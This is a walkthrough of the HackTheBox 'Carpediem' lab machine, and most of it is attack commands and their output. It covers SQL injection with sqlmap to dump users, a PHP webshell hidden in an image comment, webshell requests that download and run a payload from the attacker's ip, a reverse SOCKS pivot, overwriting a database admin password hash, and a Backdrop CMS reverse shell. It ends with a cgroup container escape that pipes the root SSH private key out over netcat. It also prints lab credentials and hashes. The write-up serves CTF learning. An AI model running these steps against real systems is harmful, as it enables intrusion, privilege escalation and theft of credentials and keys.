HTB - Carpediem [Hard]
Scanning
TCP
Scan
TARGET=10.10.11.167 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Comming Soon
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
- Domain:
carpediem.htb
Web enum
- Examine the web page doesn’t find anything
- Perform domain and subdomain search
> dirsearch -u http://carpediem.htb/ -x 401,403
[17:38:16] 301 - 178B - /img -> http://carpediem.htb/img/
[17:38:16] 200 - 3KB - /index.html
[17:38:34] 301 - 178B - /scripts -> http://carpediem.htb/scripts/
[17:38:38] 301 - 178B - /styles -> http://carpediem.htb/styles/
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://carpediem.htb/" -H "Host: FUZZ.carpediem.htb"
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000048: 200 462 L 2174 W 31090 Ch "portal"
http://portal.carpediem.htb/
- Can register an account
- Try xss on http://portal.carpediem.htb/?p=edit_account
&contact=%3Cscript%3Eprompt(3)%3C%2Fscript%3E
{"status":"failed","err":"Data too long for column 'contact' at row 1[]"}
> wfuzz -c -w /usr/share/wordlists/dirb/common.txt -u http://portal.carpediem.htb/?p=FUZZ --hl 341
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000286: 200 462 L 2174 W 31090 Ch "admin"
000000499: 200 338 L 891 W 18178 Ch "assets"
000000707: 200 338 L 891 W 18176 Ch "build"
000000885: 200 338 L 891 W 18180 Ch "classes"
000000994: 200 156 L 432 W 10060 Ch "config"
000001300: 200 338 L 891 W 18174 Ch "dist"
000001908: 200 462 L 2174 W 31090 Ch "home"
000002010: 200 338 L 891 W 18172 Ch "inc"
000002278: 200 338 L 891 W 18174 Ch "libs"
000002362: 200 336 L 878 W 18028 Ch "logout"
000002347: 200 409 L 991 W 20790 Ch "login"
000003003: 200 338 L 891 W 18180 Ch "plugins"
000002017: 200 157209 262192 W 2261145 C "index"
000003343: 200 441 L 1074 W 22391 Ch "registration"
000004216: 200 338 L 891 W 18180 Ch "uploads"
Warning: include(assets/index.php): failed to open stream: No such file or directory in /var/www/html/portal/index.php on line 14
Warning: include(): Failed opening 'assets/index.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/portal/index.php on line 14
- http://portal.carpediem.htb/?p=bikes&s=%27
- http://portal.carpediem.htb/?p=view_bike&id=3c59dc048e8850243be8079a5c74d079
- /classes/Master.php?f=save_booking
{"status":"failed","err":"Incorrect date value: '' for column 'date_start' at row 1[INSERT INTO `rent_list` set `bike_id`='21' , `date_start`='' , `date_end`='' , `rent_days`='0' , `amount`='0' , `client_id`='26' ]"}
{"status":"failed","err":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2022-07-19'' , `rent_days`='0' , `amount`='0' , `client_id`='26'' at line 1[INSERT INTO `rent_list` set `bike_id`='21' , `date_start`='2022-07-19'' , `date_end`='2022-07-19'' , `rent_days`='0' , `amount`='0' , `client_id`='26' ]"}
- date_start is vulnerable to sqli
- save the burp req and use sqlmap
> sqlmap -r save_booking.req -p date_start
[18:05:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
7
[18:05:56] [INFO] retrieved:
[18:06:01] [INFO] adjusting time delay to 1 second due to good response times
bike_list
[18:06:39] [INFO] retrieved: brand_list
[18:07:21] [INFO] retrieved: categories
[18:07:59] [INFO] retrieved: file_list
[18:08:41] [INFO] retrieved: rent_list
[18:09:24] [INFO] retrieved: system_info
[18:10:15] [INFO] retrieved: users
[18:10:36] [INFO] fetching columns for table 'bike_list' in database 'portal'
[18:10:36] [WARNING] the SQL query provided does not return any output
[18:10:36] [WARNING] unable to retrieve column names for table 'bike_list' in database 'portal'
- for some reason, date_start cannot be used to dump columns
- retry by specifying the columns to dump
> sqlmap -r save_booking.req -p date_start -D portal -T users -C username,password --dump --flush-session --dbms mysql
+----------+---------------------------------------------+
| username | password |
+----------+---------------------------------------------+
| meow | 05a671c66aefea124cc08b76ea6d30bb (testtest) |
| test | 16d7a4fca7442dda3ad93c9a726597e4 (test1234) |
| admin | b723e511b084ab84b44235d82da572f3 |
+----------+---------------------------------------------+
admin hash is not crackable
register an account, and update profile, found a parameter
login_type
, can change to 1 to get admin privilege. Then browse to http://portal.carpediem.htb/admin/ to access the admin panelthere is an avatar upload page: http://portal.carpediem.htb/admin/?page=user
craft a php file and intercept the request to change the extension to .jpg can successfully upload
there is an avatar field in the user’s profile, can sqli to find out the setting
[02:36:14] [INFO] retrieved: uploads/1658294700_meow.jpg
Database: portal
Table: users
[2 entries]
+-----------------------------------+
| avatar |
+-----------------------------------+
| uploads/1635793020_HONDA_XADV.png |
| uploads/1658294700_meow.jpg |
+-----------------------------------+
foothold
- the uploaded avatar can be used for RCE
- get a png file and add a comment to it with php backdoor
> exiftool -Comment='<?php echo "<pre>"; system($_GET['c']); ?>' meow.png
> http://portal.carpediem.htb/uploads/1658300760_meow.php?c=python3+-V
> http://portal.carpediem.htb/uploads/1658300340_meow.php?c=wget+http://<ip>/e.py
> http://portal.carpediem.htb/uploads/1658300340_meow.php?c=python3+e.py
- move the uploaded shells to a convenient place to make the access easier
> http://portal.carpediem.htb/meow.php?c=wget+http://<ip>/e.py
> http://portal.carpediem.htb/meow.php?c=python3+e.py
> python3 -c 'import pty; pty.spawn("/bin/bash")'
- read file to get db password
> www-data@3c371615b7aa:/var/www/html/portal$ cat classes/DBConnection.php
private $host = 'mysql';
private $username = 'portaldb';
private $password = 'J5tnqsXpyzkK4XNt';
private $database = 'portal';
- this might be a docker container
pe1
- upload linpeas and enum
[+] Container & breakout enumeration
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
[+] Container ID ................... 3c371615b7aa
[+] Container Full ID .............. 3c371615b7aa586387d21357dc8f13708fba6726f918183ea08fe8b09976daaf
[+] Vulnerable to CVE-2019-5021 .. No
> env
MYSQL_NAME=/portal/mysql
MYSQL_PORT=tcp://172.17.0.4:3306
MYSQL_ENV_MYSQL_ROOT_PASSWORD=3dQXeqjMHnq4kqDv
MYSQL_PORT_3306_TCP_PROTO=tcp
MYSQL_PORT_3306_TCP_ADDR=172.17.0.4
MYSQL_PORT_3306_TCP_PORT=3306
MYSQL_PORT_3306_TCP=tcp://172.17.0.4:3306
MYSQL_PORT_33060_TCP_PROTO=tcp
MYSQL_PORT_33060_TCP_ADDR=172.17.0.4
MYSQL_PORT_33060_TCP_PORT=33060
MYSQL_PORT_33060_TCP=tcp://172.17.0.4:33060
- Check hosts file
> cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.4 mysql a5004fe641ca
172.17.0.5 3c371615b7aa
Setup pivot
> chisel server -p 8888 --reverse
> ./chisel client <ip>:8888 R:1080:socks
# add socks 127.0.0.1 1080 to /etc/proxychains4.conf
- setup chisel reverse proxy and connect to databasse, not connectable
> proxychains mysql --host=172.17.0.4 --port=3306 --user=portaldb --password=J5tnqsXpyzkK4XNt -D portal
> proxychains mysql --host=172.17.0.4 --port=3306 --user=root --password=3dQXeqjMHnq4kqDv
mongodb
- connect to mongo db and enum
> proxychains mongo 172.17.0.3
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
trudesk 0.001GB
> use truedesk
> db.accounts.find()
{ "_id" : ObjectId("623c8b20855cc5001a8ba13c"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "admin", "password" : "$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS", "fullname" : "Robert Frost", "email" : "rfrost@carpediem.htb", "role" : ObjectId("623c8b20855cc5001a8ba138"), "title" : "Sr. Network Engineer", "accessToken" : "22e56ec0b94db029b07365d520213ef6f5d3d2d9", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:30:32.198Z") }
{ "_id" : ObjectId("6243c0be1e0d4d001b0740d4"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jhammond", "email" : "jhammond@carpediem.htb", "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq", "fullname" : "Jeremy Hammond", "title" : "Sr. Systems Engineer", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "a0833d9a06187dfd00d553bd235dfe83e957fd98", "__v" : 0, "lastOnline" : ISODate("2022-04-01T23:36:55.940Z") }
{ "_id" : ObjectId("6243c28f1e0d4d001b0740d6"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jpardella", "email" : "jpardella@carpediem.htb", "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK", "fullname" : "Joey Pardella", "title" : "Desktop Support", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "7c0335559073138d82b64ed7b6c3efae427ece85", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:33:20.918Z") }
{ "_id" : ObjectId("6243c3471e0d4d001b0740d7"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "acooke", "email" : "acooke@carpediem.htb", "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.", "fullname" : "Adeanna Cooke", "title" : "Director - Human Resources", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "9c7ace307a78322f1c09d62aae3815528c3b7547", "__v" : 0, "lastOnline" : ISODate("2022-03-30T14:21:15.212Z") }
{ "_id" : ObjectId("6243c69d1acd1559cdb4019b"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "svc-portal-tickets", "email" : "tickets@carpediem.htb", "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW", "fullname" : "Portal Tickets", "title" : "", "role" : ObjectId("623c8b20855cc5001a8ba13a"), "accessToken" : "f8691bd2d8d613ec89337b5cd5a98554f8fffcc4", "__v" : 0, "lastOnline" : ISODate("2022-03-30T13:50:02.824Z") }
> db.system.users.find()
{ "_id" : "trudesk.trudesk", "userId" : UUID("91edf315-70ed-424b-8af5-df2be2559a88"), "user" : "trudesk", "db" : "trudesk", "credentials" : { "SCRAM-SHA-1" : { "iterationCount" : 10000, "salt" : "Ko2s2ZtnyVXoPkj8V9swbQ==", "storedKey" : "RMcvISwRJ/G3Phy536k7qXNxrwY=", "serverKey" : "DVRoL2j5ZNdejyf6TxM7XiD+vzw=" }, "SCRAM-SHA-256" : { "iterationCount" : 15000, "salt" : "R8aRmvuyjDHYUIpv28g/p5k3KVexBC4URSbE/g==", "storedKey" : "II/yV9Z2qyjX7TDXYI+Zqh3903ZeTtmiT082SH7k0CY=", "serverKey" : "8J62Bb5ugt2OJalKj1NMq6FFsyFLhRpxXMRSmR9EeDM=" } }, "roles" : [ { "role" : "userAdmin", "db" : "trudesk" } ] }
- found hashes. Encryption uses blowfish, it’s anti-cracking
- generate a new password to overwrite
> python -c "import bcrypt; print(bcrypt.hashpw('password'.encode(), bcrypt.gensalt(rounds=10)))"
b'$2b$10$JUb0RCD6qKWm/Cwcq2i2cuVg.LY5AFCOESd6hAuv2YuKY3Tw9nAyO'
> db.getCollection("accounts").update({_id: ObjectId("623c8b20855cc5001a8ba13c")},{$set :{"password":"$2b$10$JUb0RCD6qKWm/Cwcq2i2cuVg.LY5AFCOESd6hAuv2YuKY3Tw9nAyO"}});
- login into trudesk.carpediem.htb
learn about a new employee whose credential can be found via VoIP
Last 4 of employee ID is 9650.
Thank you! He's all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I'll leave him a voicemail with his initial credentials for server access. His phone pin code will be 2022 and to get into voicemail he can dial *62
9650:2022 and carpediem.htb as the domain to login via zoiper
- new employee username Horace Flaccus: hflaccus
- connect to sip and dial *62, enter pin 2022, listen to the voice mail
- login as hflaccus to get the user flag
> ssh hflaccus@10.10.11.167
`AuRj4pxq9qPk`
pivoting scan
- run scan via the pivot
> proxychains nmap -p21,22,80,443,3306,33060,8118,27017 10 172.17.0.1-10 -Pn -v -sT
Nmap scan report for 172.17.0.1
Host is up (0.47s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.17.0.2
Host is up (0.40s latency).
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
443/tcp open https
Nmap scan report for 172.17.0.3
Host is up (0.47s latency).
PORT STATE SERVICE
27017/tcp open mongod
Nmap scan report for 172.17.0.4
Host is up (0.47s latency).
PORT STATE SERVICE
3306/tcp open mysql
33060/tcp open mysqlx
Nmap scan report for 172.17.0.5
Host is up (0.46s latency).
PORT STATE SERVICE
8118/tcp open privoxy
Nmap scan report for 172.17.0.6
Host is up (0.47s latency).
PORT STATE SERVICE
80/tcp open http
pe
- upload linpeas and do enum
[+] Searching ssl/ssh files
PermitRootLogin yes
PubkeyAuthentication yes
ChallengeResponseAuthentication no
UsePAM yes
PasswordAuthentication yes
Possible private SSH keys were found!
/etc/ssl/certs/backdrop.carpediem.htb.key
--> /etc/hosts.allow file found, read the rules:
/etc/hosts.allow
- Copy /etc/ssl/certs/backdrop.carpediem.htb.key to local
- Capture traffic on docker0 interface
> tcpdump -i docker0 -w docker0.pcap
- Run wireshark and import the backdrop.carpediem.htb.key into the RSA key list of TLS protocol
- follow a TLS1.2 stream and find the credential:
jpardella:tGPN6AmJDZwYWdhY
POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128
name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+inHTTP/1.1 302 Found
Date: Thu, 21 Jul 2022 23:13:01 GMT
Server: Apache/2.4.48 (Ubuntu)
Expires: Fri, 16 Jan 2015 07:50:00 GMT
Last-Modified: Thu, 21 Jul 2022 23:13:01 +0000
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
ETag: "1658445181"
Set-Cookie: SSESS0651e6855a1f90fa8155e44165bd9f99=TTtY1mdMcNFUi7UHtkNxqyDQiLeC_TcV6_rA6SHXZsA; expires=Sun, 14-Aug-2022 02:46:21 GMT; Max-Age=2000000; path=/; domain=.backdrop.carpediem.htb; secure; HttpOnly
Location: https://backdrop.carpediem.htb:8002/?q=admin/dashboard
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
- find out which internal port is running backdrop
> curl -k https://127.0.0.1:8002
- map remote port to local
> ssh -L 8002:127.0.0.1:8002 hflaccus@10.10.11.167
- use backdrop CMS RCE exploit: https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/tag/backdrop
- download the reference.tar, change shell.php to a php reverse shell.
- create another reference.tar file and upload it to be installed
- go to https://127.0.0.1:8002/modules/reference/shell.php to trigger the reverse shell
- upload pspy64 and monitor background processes
2022/07/24 19:23:46 CMD: UID=0 PID=4360 | cp /root/index.php /var/www/html/backdrop/index.php
2022/07/24 19:24:01 CMD: UID=0 PID=4362 | /usr/sbin/CRON -P
2022/07/24 19:24:01 CMD: UID=0 PID=4361 | /usr/sbin/CRON -P
2022/07/24 19:24:01 CMD: UID=0 PID=4363 | /usr/sbin/CRON -P
2022/07/24 19:24:01 CMD: UID=0 PID=4364 | /usr/sbin/CRON -P
2022/07/24 19:24:01 CMD: UID=0 PID=4365 | /bin/sh -c sleep 45; /bin/bash /opt/heartbeat.sh
2022/07/24 19:24:01 CMD: UID=0 PID=4366 | /bin/sh -c sleep 15; /bin/bash /opt/heartbeat.sh
2022/07/24 19:24:16 CMD: UID=0 PID=4367 | /bin/bash /opt/heartbeat.sh
2022/07/24 19:24:16 CMD: UID=0 PID=4368 | /usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh
2022/07/24 19:24:16 CMD: UID=0 PID=4369 | /bin/bash /opt/heartbeat.sh
2022/07/24 19:24:16 CMD: UID=0 PID=4370 | grep Welcome to backdrop.carpediem.htb! <!DOCTYPE html>
- /opt/heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
#something went wrong. restoring from backup.
cp /root/index.php /var/www/html/backdrop/index.php
fi
- we can exploit this by create a index.php with our reverse shell in /var/www/html/backdrop folder, which we can write to. After a while, we can receive the reverse shell connection
- /var/www/html/backdrop/core/scripts/backdrop.sh
#!/usr/bin/env php
<?php
/**
* Backdrop shell execution script
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param path Backdrop's absolute root directory in local file system (optional).
* @param URI A URI to execute, including HTTP protocol prefix.
*/
$script = basename(array_shift($_SERVER['argv']));
if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF
Execute a Backdrop page from the shell.
Usage: {$script} [OPTIONS] "<URI>"
Example: {$script} "http://mysite.org/node"
All arguments are long options.
--help This page.
--root Set the working directory for the script to the specified path.
To execute Backdrop this has to be the root directory of your
Backdrop installation, f.e. /home/www/foo/backdrop (assuming
Backdrop is running on Unix). Current directory is not required.
Use surrounding quotation marks on Windows.
--verbose This option displays the options as they are set, but will
produce errors from setting the session.
URI The URI to execute, i.e. http://default/foo/bar for executing
the path '/foo/bar' in your site 'default'. URI has to be
enclosed by quotation marks if there are ampersands in it
(f.e. index.php?q=node&foo=bar). Prefix 'http://' is required,
and the domain must exist in Backdrop's sites-directory.
If the given path and file exists it will be executed directly,
i.e. if URI is set to http://default/bar/foo.php
and bar/foo.php exists, this script will be executed without
bootstrapping Backdrop. To execute Backdrop's cron.php, specify
http://default/core/cron.php as the URI.
To run this script without --root argument invoke it from the root directory
of your Backdrop installation with
./scripts/{$script}
\n
- Read: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- create a new instance of session to avoid permission issues
> unshare -UrmC bash
> umount /tmp/cgrp && rm -r /tmp/cgrp && mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release && host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` && echo "$host_path/cmd" > /tmp/cgrp/release_agent && echo '#!/bin/sh' > /cmd && echo "nc <ip> 6666 < /root/.ssh/id_rsa" >> /cmd && chmod a+x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"